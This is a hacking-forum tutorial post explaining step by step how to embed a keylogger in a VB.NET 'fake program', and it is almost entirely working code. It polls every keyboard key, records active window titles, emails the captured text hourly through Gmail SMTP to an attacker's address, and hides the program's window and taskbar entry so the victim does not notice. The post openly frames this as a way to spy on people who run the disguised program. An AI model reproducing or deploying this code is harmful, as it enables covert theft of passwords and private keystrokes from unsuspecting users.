+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Visual Basic & .NET Framework (https://sinister.li/Forum-Visual-Basic-NET-Framework)
+--- Thread: [VB.Net] Make a Inbuilt keylogger (/Thread-VB-Net-Make-a-Inbuilt-keylogger)
[VB.Net] Make a Inbuilt keylogger - 1234hotmaster - 01-18-2011
Hi everyone i want to explain how to make a keylogger in your VB program step by step
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
Why use a inbuilt keylogger?
Answer: Instead of binding un-certain non-UD keyloggers to your VB fake program you can simply make the program have one!
Step 1:
Start visual studio and Start a new project. Next Add these codes above Public Class Form1
Code:
Imports System.IO
Imports System.Net.MailStep 2:
Now we are going to do the declares. Add these below Form1:
Code:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function RegisterServiceProcess Lib "Kernel32.dll" (ByVal dwProcessId As Integer, ByVal dwType As Integer) As Integer
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Public Function CAPSLOCKON() As Boolean
If My.Computer.Keyboard.CapsLock = True Then
Return True
Else
Return False
End If
End Function
Dim keystate As Integer
Dim Shift As IntegerStep 3:
Add 3 timers. Make Timer1's interval "1", Timer2's interval "60000" and Timer3's interval "3600000" and make them all Enabled. Also make a Textbox and make it Multilined ( else keylogger wont work! )
Step 4:
Now for the keylogging. Double click timer1 and insert in this code:
Code:
Shift = GetAsyncKeyState(System.Windows.Forms.Keys.ShiftKey)
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.A)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "A"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "a"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.B)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "B"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "b"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.C)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "C"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "c"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "D"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "d"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.E)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "E"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "e"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "F"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "f"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.G)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "G"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "g"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.H)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "H"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "h"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.I)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "I"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "i"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.J)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "J"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "j"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.K)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "K"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "k"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.L)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "L"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "l"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.M)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "M"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "m"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.N)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "N"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "n"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.O)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "O"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "o"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.P)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "P"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "p"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Q)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "Q"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "q"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.R)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "R"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "r"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.S)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "S"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "s"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.T)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "T"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "t"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.U)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "U"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "u"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.V)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "V"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "v"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.W)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "W"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "w"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.X)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "X"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "x"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Y)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "Y"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "y"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Z)
If (CAPSLOCKON() = True And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = False And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "Z"
End If
If (CAPSLOCKON() = False And Shift = 0 And (keystate And &H1S) = &H1S) Or (CAPSLOCKON() = True And Shift <> 0 And (keystate And &H1S) = &H1S) Then
TextBox1.Text = TextBox1.Text & "z"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D1)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "1"
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "!"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D2)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "2"
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "@"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D3)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "3"
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "#"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D4)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "4"
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "$"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D5)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "5"
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "%"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D6)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "6"
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "^"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D7)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "7"
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "&"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D8)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "8"
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "*"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D9)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "9"
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "("
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.D0)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "0"
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & ")"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Back)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[backspace]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Tab)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[tab]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Return)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & vbCrLf
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.ShiftKey)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[shift]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.ControlKey)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[ctrl]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Menu)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[alt]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Pause)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[pause]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Escape)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[esc]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Space)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & " "
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.End)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[end]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Home)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[home]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Left)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[left]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Right)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[right]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Up)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[up]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Down)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[down]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Insert)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[insert]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Delete)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[Delete]"
End If
keystate = GetAsyncKeyState(&HBAS)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & ";"
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & ":"
End If
keystate = GetAsyncKeyState(&HBBS)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "="
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "+"
End If
keystate = GetAsyncKeyState(&HBCS)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & ","
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "<"
End If
keystate = GetAsyncKeyState(&HBDS)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "-"
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "_"
End If
keystate = GetAsyncKeyState(&HBES)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "."
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & ">"
End If
keystate = GetAsyncKeyState(&HBFS)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "/"
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "?"
End If
keystate = GetAsyncKeyState(&HC0S)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "`"
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "~"
End If
keystate = GetAsyncKeyState(&HDBS)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "["
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "["
End If
keystate = GetAsyncKeyState(&HDCS)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "\"
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "|"
End If
keystate = GetAsyncKeyState(&HDDS)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "]"
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "]"
End If
keystate = GetAsyncKeyState(&HDES)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "'"
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & Chr(34)
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Multiply)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "*"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Divide)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "/"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Add)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "+"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Subtract)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "-"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Decimal)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[Del]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F1)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[F1]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F2)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[F2]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F3)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[F3]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F4)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[F4]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F5)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[F5]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F6)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[F6]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F7)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[F7]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F8)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[F8]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F9)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[F9]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F10)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[F10]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F11)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[F11]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.F12)
If Shift = 0 And (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[F12]"
End If
If Shift <> 0 And (keystate And &H1S) = &H1S Then
Me.Visible = True
Call RegisterServiceProcess(0, 0)
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumLock)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[NumLock]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Scroll)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[ScrollLock]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.Print)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[PrintScreen]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.PageUp)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[PageUp]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.PageDown)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[Pagedown]"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumPad1)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "1"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumPad2)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "2"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumPad3)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "3"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumPad4)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "4"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumPad5)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "5"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumPad6)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "6"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumPad7)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "7"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumPad8)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "8"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumPad9)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "9"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.NumPad0)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "0"
End If
keystate = GetAsyncKeyState(System.Windows.Forms.Keys.ControlKey)
If (keystate And &H1S) = &H1S Then
TextBox1.Text = TextBox1.Text & "[Ctrl]"
End IfStep 5:
Now Below the timer1's end sub add this function:
Code:
Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End FunctionStep 6:
Double click timer2 and add this:
Code:
Dim strin As String = Nothing
If strin <> GetActiveWindowTitle() Then
TextBox1.Text = TextBox1.Text + vbNewLine & GetActiveWindowTitle() & vbNewLine
strin = GetActiveWindowTitle()
End IfStep 7:
Now double click timer3 and add this:
Code:
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("hacker@gmail.com")
MyMailMessage.To.Add("hacker@gmail.com")
MyMailMessage.Subject = "hackcommunity.com's inbuilt keylogger"
MyMailMessage.Body = TextBox1.Text
Dim SMPT As New SmtpClient("smtp.gmail.com")
SMPT.Port = 587
SMPT.EnableSsl = True
SMPT.Credentials = New System.Net.NetworkCredential("hacker@gmail.com", "mypassword")
SMPT.Send(MyMailMessage)
TextBox1.Text = ""Step 8:
Double click the form and add this:
Code:
Me.hide
Me.opacity = 0
Me.ShowInTaskbar = falseAnd wham! your keylogger in complete!
What does Timer1 Do?
Answer: It keyloggs Shift and other keys.
What does Timer2 Do?
Answer: It Gets the active window title every 1 minute.
What does Timer3 Do?
Answer: It Sends the logged keys and active window titles ( Textbox1.text ) to your e-mail once every 1 hour and refreshes all text in Textbox1. Replace the example mail and passwords with your own mail and pass.
Note: Not Leeched or copied from anywhere else. please don't copy this cause i spent 2 hours of a exam night writing this :innocent: and please give credit if you share :thumbs:
